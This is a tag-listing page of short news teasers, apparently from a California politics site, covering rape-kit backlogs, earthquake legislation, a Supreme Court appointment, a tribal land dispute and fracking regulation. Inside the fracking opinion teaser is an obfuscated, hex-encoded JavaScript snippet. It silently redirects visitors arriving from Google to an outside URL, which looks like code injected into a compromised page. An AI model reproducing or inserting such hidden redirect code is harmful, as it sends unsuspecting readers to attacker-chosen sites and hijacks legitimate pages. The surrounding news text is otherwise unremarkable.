Posts Tagged: 4

News

CA ‘rape kit’ backlog under fire

A posed image of a rape victim in a dark tunnel, with the shadow of the rapist in the background. (Photo: ChameleonsEye, via Shutterstock)

Thousands of  California women who said they were raped gave details of their assaults to investigators and provided critical data in “rape kits” — DNA, wounds, semen, hair, fibers — to identify their attackers. But many of the rape kits were not examined in a timely way, caught in a backlog that has angered some lawmakers and women’s groups.

News

Earthquakes: A fight to protect infrastructure

A bicyclist rides by debris following the 1994 Northridge quake. (Photo: Joseph Sohm)

The images of California’s powerful earthquakes over the years have been vivid — the shattered buildings, the collapsed bridges, the buckled highways. A Los Angeles lawmaker is proposing updated earthquake legislation geared toward saving infrastructure, noting that modern building codes are designed to save lives but not necessarily preserve the physical structures.

Podcast

Capitol Weekly Podcast: Alex Vassar

Alex Vassar. (Photo: Tim Foster)

John Howard and Tim Foster take a short tour of the California state Capitol with “unofficial” legislative historian Alex Vassar. Alex shares some tales from his new book, “California Lawmaker,” about a few of the 4,424 people who have served in Legislature since the state’s inception. Alex serves up stabbings, shootings and fistfights on the floor — and that’s all from just one incident!

News

Brown names new justice to state Supreme Court

Mariano-Florentino Cuéllar, 41, a Stanford Law School professor who was born in Matamoros, Mexico, and walked across the border each day to go to school in Texas, has been appointed to the California Supreme Court by Gov. Brown, the governor’s office announced today. Voters will be asked to approve the appointment on Nov. 4

News

Camp 4: Tribal land plan stirs intense dispute

A view of the 1,400-acre Camp 4 parcel in Santa Barbara County. (Photo: Bill Macfayden, Noozhawk)

More than four years after obtaining a broad swath of undeveloped land in rural Santa Barbara County, a local Indian tribe has little to show for it. Development of the property has been stalled by an ongoing and rapidly escalating conflict between tribal authorities, county supervisors and local residents, and the dispute is spilling over into the realms of state and federal agencies.

Opinion

Health, environmental regulations needed in hydraulic fracturing

A deeply contested debate is happening in Sacramento over SB 4, Senator Pavley’s bill that would put into place safeguards governing the practice of hydraulic fracturing (“fracking”.) var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. These practices inject a mixture of chemicals, water and sand  into rock formations in order to create small fractures allowing for extraction of otherwise unattainable

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